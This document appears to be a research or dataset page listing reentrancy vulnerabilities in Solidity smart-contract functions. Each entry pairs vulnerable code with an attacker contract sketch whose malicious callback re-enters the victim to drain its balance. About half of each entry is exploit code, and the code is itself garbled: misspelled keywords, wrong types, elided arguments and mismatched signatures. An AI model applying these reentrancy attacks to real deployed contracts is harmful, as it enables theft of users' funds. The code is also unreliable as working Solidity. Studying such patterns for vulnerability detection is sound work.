Exploitation Code¶
Reentrancy-1¶
Vulnerable Code 1¶
function sellOnApprove(
IMultiToken _mtkn,
uint256 _amount,
ERC20 _throughToken,
address[] _exchanges,
bytes _datas,
uint[] _datasIndexes, // including 0 and LENGTH values
address _for
)
public
{
if (_throughToken == address(0)) {
require(_mtkn.tokensCount() == _exchanges.length, "sell: _mtkn should have the same tokens count as _exchanges");
} else {
require(_mtkn.tokensCount() + 1 == _exchanges.length, "sell: _mtkn should have tokens count + 1 equal _exchanges length");
}
require(_datasIndexes.length == _exchanges.length + 1, "sell: _datasIndexes should start with 0 and end with LENGTH");
_mtkn.transferFrom(msg.sender, this, _amount);
_mtkn.unbundle(this, _amount);
for (uint i = 0; i < _exchanges.length; i++) {
bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]);
for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) {
data[j - _datasIndexes[i]] = _datas[j];
}
if (data.length == 0) {
continue;
}
if (i == _exchanges.length - 1 && _throughToken != address(0)) {
if (_throughToken.allowance(this, _exchanges[i]) == 0) {
_throughToken.asmApprove(_exchanges[i], uint256(-1));
}
} else {
ERC20 token = _mtkn.tokens(i);
if (_exchanges[i] == 0) {
token.asmTransfer(_for, token.balanceOf(this));
continue;
}
if (token.allowance(this, _exchanges[i]) == 0) {
token.asmApprove(_exchanges[i], uint256(-1));
}
}
// solium-disable-next-line security/no-low-level-calls
require(_exchanges[i].call(data), "sell: exchange arbitrary call failed");
}
_for.transfer(address(this).balance); //vulnerability position_1
if (_throughToken != address(0) && _throughToken.balanceOf(this) > 0) { //vulnerability position_2
_throughToken.asmTransfer(_for, _throughToken.balanceOf(this));
}
}
Exploit Code¶
Contract ERC20{
}
Contract Attack is ERC20{
uint count;
address victimAddress;
function setVictim(address _victim){
victimAddress = _victim;
}
funciton balanceof(address _address) payable{
count++;
if(count < 5){
victimAddress.call(byte4(keccak256(“sellOnApprove(IMultiToken , uint256, ERC20, address[], bytes, uint[], address)”)), ..., ..., ERC20(this), ..., ..., ..., this );
}
}
}
Description¶
Note the location of comment of vulnerability position_2: IF _throughToken object obtained from a malicious address, the method of balanceOf can be a malicious function to reentrancy.Every single re-entry the comment of vulnerability position_1 will pick up the balance of Victim
Reentrancy-2¶
Vulnerable Code 1¶
function buyFirstTokens(
IMultiToken _mtkn,
bytes _callDatas,
uint[] _starts // including 0 and LENGTH values
)
public
payable
{
change(_callDatas, _starts);
uint tokensCount = _mtkn.tokensCount();
uint256[] memory amounts = new uint256[](tokensCount);
for (uint i = 0; i < tokensCount; i++) {
ERC20 token = _mtkn.tokens(i);
amounts[i] = token.balanceOf(this);
if (token.allowance(this, _mtkn) == 0) {
token.asmApprove(_mtkn, uint256(-1));
}
}
_mtkn.bundleFirstTokens(msg.sender, msg.value.mul(1000), amounts);
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance); //vulnerability position_1
}
for (i = _mtkn.tokensCount(); i > 0; i--) { //vulnerability position_2
token = _mtkn.tokens(i - 1);
token.asmTransfer(msg.sender, token.balanceOf(this));
}
}
Vulnerable Code 2¶
function buyFirstTokens(
IMultiToken mtkn,
bytes callDatas,
uint[] starts, // including 0 and LENGTH values
uint ethPriceMul,
uint ethPriceDiv
)
public
payable
{
change(callDatas, starts);
uint tokensCount = mtkn.tokensCount();
uint256[] memory amounts = new uint256[](tokensCount);
for (uint i = 0; i < tokensCount; i++) {
ERC20 token = mtkn.tokens(i);
amounts[i] = token.balanceOf(this);
if (token.allowance(this, mtkn) == 0) {
token.asmApprove(mtkn, uint256(-1));
}
}
mtkn.bundleFirstTokens(msg.sender, msg.value.mul(ethPriceMul).div(ethPriceDiv), amounts);
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
for (i = mtkn.tokensCount(); i > 0; i--) {
token = mtkn.tokens(i - 1);
if (token.balanceOf(this) > 0) { //different code
token.asmTransfer(msg.sender, token.balanceOf(this));
}
}
}
Exploit Code¶
contract IMultiToken{
}
Contract Attack is IMultiToken{
uint count;
address victimAddress;
function setVictim(address _victim){
victimAddress = _victim;
}
funciton tokensCount() payable{
count++;
if(count < 5){
victimAddress.call(byte4(keccak256(“buyFirstTokens(IMultiToken , bytes, uint[])”)), Attack(this), ..., ...);
}
}
function() payable{
}
}
Description¶
Note the location of comment of vulnerability position_2: IF IMultiToken object obtained from a malicious address, the method of buyFirstTokens can be a malicious function to reentrancy.Every single re-entry the comment of vulnerability position_1 will pick up the balance of Victim. ps:”….” represent an appropriate parameter
Reentrancy-3¶
Vulnerable Code 1¶
function sendEthProportion(address target, bytes data, uint256 mul, uint256 div) external {
uint256 value = address(this).balance.mul(mul).div(div);
// solium-disable-next-line security/no-call-value
require(target.call.value(value)(data)); //vulnerability position
}
Vulnerable Code 2¶
function kyberSendEthProportion(IKyberNetworkProxy _kyber, ERC20 _fromToken, address _toToken, uint256 _mul, uint256 _div) external {
uint256 value = address(this).balance.mul(_mul).div(_div);
_kyber.trade.value(value)(
_fromToken,
value,
_toToken,
this,
1 << 255,
0,
0
);
}
Exploit Code¶
Contract Attack{
uint count;
address victimAddress;
bytes bs4 = new bytes(4);
bytes4 functionSignature = bytes4(keccak256("startAttack()"));
function setVictim(address _victim){
victimAddress = _victim;
}
funciton startAttack(address _address) payable{
for (uint i = 0; i< bs4.length; i++){
bs4[i] = functionSignature[i];
}
count++;
if(count < 5){
victimAddress.call(byte4(keccak256(“sendEthProportion(address, bytes, uint256, uint256)”)), this, bs4, 10, 1);
}
}
}
Description¶
Note the location of comment of vulnerability position: IF argument “target”” is transmited from a malicious address, the method of startAttack can be a malicious function to reentrancy.
Reentrancy-6¶
Vulnerable Code 1¶
function convertSafe(
TokenConverter converter,
Token fromToken,
Token toToken,
uint256 amount
) internal returns (uint256 bought) {
if (fromToken != ETH_ADDRESS) require(fromToken.approve(converter, amount));
uint256 prevBalance = toToken != ETH_ADDRESS ? toToken.balanceOf(this) : address(this).balance;
uint256 sendEth = fromToken == ETH_ADDRESS ? amount : 0;
uint256 boughtAmount = converter.convert.value(sendEth)(fromToken, toToken, amount, 1); //Vulnerable position
require(
boughtAmount == (toToken != ETH_ADDRESS ? toToken.balanceOf(this) : address(this).balance) - prevBalance,
"Bought amound does does not match"
);
if (fromToken != ETH_ADDRESS) require(fromToken.approve(converter, 0));
return boughtAmount;
}
Vulnerable Code 2¶
function convertSafe(
TokenConverter converter,
Token fromToken,
Token toToken,
uint256 amount
) internal returns (uint256 bought) {
if (fromToken != ETH_ADDRESS) require(fromToken.approve(converter, amount), "Error approving token transfer"); //different code
uint256 prevBalance = toToken != ETH_ADDRESS ? toToken.balanceOf(this) : address(this).balance;
uint256 sendEth = fromToken == ETH_ADDRESS ? amount : 0;
uint256 boughtAmount = converter.convert.value(sendEth)(fromToken, toToken, amount, 1);
require(
boughtAmount == (toToken != ETH_ADDRESS ? toToken.balanceOf(this) : address(this).balance) - prevBalance,
"Bought amound does does not match"
);
if (fromToken != ETH_ADDRESS) require(fromToken.approve(converter, 0), "Error removing token approve");
return boughtAmount;
}
Exploit Code¶
Contract TokenConverter {
}
Contract Attack is TokenConverter{
uint count;
address victimAddress;
bytes bs4 = new bytes(4);
bytes4 functionSignature = bytes4(keccak256("startAttack()"));
function setVictim(address _victim){
victimAddress = _victim;
}
funciton convert(Token fromToken, Token toToken, uint256 amount, uint256 a) payable{
for (uint i = 0; i< bs4.length; i++){
bs4[i] = functionSignature[i];
}
count++;
if(count < 5){
victimAddress.call(byte4(keccak256("convertSafe(TokenConverter , Token, Token)")), TokenConverter(this), ..., ...);
}
}
}
Description¶
Look at the row “vulnerability position”.The variable ‘converter’ can be passed into any value by a malicious contract
Reentrancy-7¶
Vulnerable Code 1¶
function lend(address to, ERC20 token, uint256 amount, address target, bytes data) public payable {
uint256 prevBalance = token.balanceOf(this);
token.asmTransfer(to, amount);
_inLendingMode += 1;
require(caller().makeCall.value(msg.value)(target, data), "lend: arbitrary call failed"); //Vulnerable position_1
_inLendingMode -= 1;
require(token.balanceOf(this) >= prevBalance, "lend: lended token must be refilled"); //Vulnerable position_2
}
function lend(address to, ERC20 token, uint256 amount, address target, bytes data) public payable {
uint256 expectedBalance = token.balanceOf(this).mul(TOTAL_PERCRENTS.add(_lendFee)).div(TOTAL_PERCRENTS);
super.lend(to, token, amount, target, data);
require(token.balanceOf(this) >= expectedBalance, "lend: tokens must be returned with lend fee");
}
Exploit Code¶
contract ERC20{
}
Contract Attack is ERC20{
uint count;
address victimAddress;
function setVictim(address _victim){
victimAddress = _victim;
}
funciton balanceOf() payable{
count++;
if(count < 5){
victimAddress.call(byte4(keccak256(“lend(address , ERC20, uint256, address, bytes)”)), ..., ERC20(this), ..., ..., ...);
}
}
function() payable{
}
}
Description¶
Note the location of comment of vulnerability position_2: IF token object obtained from a malicious address, the method of balanceOf can be a malicious function to reentrancy.Every single re-entry the comment of vulnerability position_1 will pick up the balance of Victim. ps:”….” represent an appropriate parameter
Reentrancy-8¶
Vulnerable Code 1¶
function withdraw (address account, address tokenAddr, uint256 index_from, uint256 index_to) external returns (bool) {
require(account != address(0x0));
uint256 release_amount = 0;
for (uint256 i = index_from; i < lockedBalances[account][tokenAddr].length && i < index_to + 1; i++) {
if (lockedBalances[account][tokenAddr][i].balance > 0 &&
lockedBalances[account][tokenAddr][i].releaseTime <= block.timestamp) {
release_amount = release_amount.add(lockedBalances[account][tokenAddr][i].balance);
lockedBalances[account][tokenAddr][i].balance = 0;
}
}
require(release_amount > 0);
if (tokenAddr == 0x0) {
if (!account.send(release_amount)) { //Vulnerable position_1
revert();
}
emit Withdraw(account, tokenAddr, release_amount);
return true;
} else {
if (!ERC20Interface(tokenAddr).transfer(account, release_amount)) { //Vulnerable position_2
revert();
}
emit Withdraw(account, tokenAddr, release_amount);
return true;
}
}
Vulnerable Code 2¶
function withdraw (address account, address tokenAddr, uint256 max_count) external returns (bool) {
require(account != address(0x0));
uint256 release_amount = 0;
for (uint256 i = 0; i < lockedBalances[account][tokenAddr].length && i < max_count; i++) { //code different
if (lockedBalances[account][tokenAddr][i].balance > 0 &&
lockedBalances[account][tokenAddr][i].releaseTime <= block.timestamp) {
release_amount = release_amount.add(lockedBalances[account][tokenAddr][i].balance);
lockedBalances[account][tokenAddr][i].balance = 0;
}
}
require(release_amount > 0);
if (tokenAddr == 0x0) {
if (!account.send(release_amount)) {
revert();
}
emit Withdraw(account, tokenAddr, release_amount);
return true;
} else {
if (!ERC20Interface(tokenAddr).transfer(account, release_amount)) {
revert();
}
emit Withdraw(account, tokenAddr, release_amount);
return true;
}
}//out9608
Exploit Code¶
contract ERC20Interface{
}
Contract Attack is ERC20Interface{
uint count;
address victimAddress;
function setVictim(address _victim){
victimAddress = _victim;
}
funciton transfer(address account, address release_amount) payable{
count++;
if(count < 5){
victimAddress.call(byte4(keccak256(“withdraw(address , address, uint256, uint256)”)), this, this, ..., ...);
}
}
function() payable{
}
}
Description¶
Note the location of comment of vulnerability position_2: IF argument “tokenAddr” is transmited from a malicious address, the method of “transfer” can be a malicious function to reentrancy.Every single re-entry the comment of vulnerability position_1 will pick up the balance of Victim. ps:”….” represent an appropriate parameter
Reentrancy-9¶
Vulnerable Code 1¶
function buyInternal(
ERC20 token,
address _exchange,
uint256 _value,
bytes _data
)
internal
{
require(
// 0xa9059cbb - transfer(address,uint256)
!(_data[0] == 0xa9 && _data[1] == 0x05 && _data[2] == 0x9c && _data[3] == 0xbb) &&
// 0x095ea7b3 - approve(address,uint256)
!(_data[0] == 0x09 && _data[1] == 0x5e && _data[2] == 0xa7 && _data[3] == 0xb3) &&
// 0x23b872dd - transferFrom(address,address,uint256)
!(_data[0] == 0x23 && _data[1] == 0xb8 && _data[2] == 0x72 && _data[3] == 0xdd),
"buyInternal: Do not try to call transfer, approve or transferFrom"
);
uint256 tokenBalance = token.balanceOf(this);
require(_exchange.call.value(_value)(_data)); //Vulnerable position
balances[msg.sender] = balances[msg.sender].sub(_value);
tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token]
.add(token.balanceOf(this).sub(tokenBalance));
}
Vulnerable Code 2¶
function buyOne(
ERC20 token,
address _exchange,
uint256 _value,
bytes _data
)
payable
public
{
balances[msg.sender] = balances[msg.sender].add(msg.value);
uint256 tokenBalance = token.balanceOf(this);
require(_exchange.call.value(_value)(_data));
balances[msg.sender] = balances[msg.sender].sub(_value);
tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token]
.add(token.balanceOf(this).sub(tokenBalance));
}
Exploit Code¶
Contract Attack is XXXX{
uint count;
address victimAddress;
bytes bs4 = new bytes(4);
bytes4 functionSignature = bytes4(keccak256("startAttack()"));
function setVictim(address _victim){
victimAddress = _victim;
}
funciton startAttack() payable{
for (uint i = 0; i< bs4.length; i++){
bs4[i] = functionSignature[i];
}
count++;
if(count < 5){
victimAddress.call(byte4(keccak256(“buyInternal(ERC20, address, uint256, bytes)”)), ..., this, ..., bs4);
}
}
function() payable{
}
}
Description¶
Note the location of comment of vulnerability position_2: IF the paramete of ‘_exchange’ is transformed from a malicious address, the method of “startAttack” can be a malicious function to reentrancy.Every single re-entry the comment of vulnerability position_1 will pick up the balance of Victim. ps:”….” represent an appropriate paramete.’XXXX’ represents the Vulnerability contracts’s name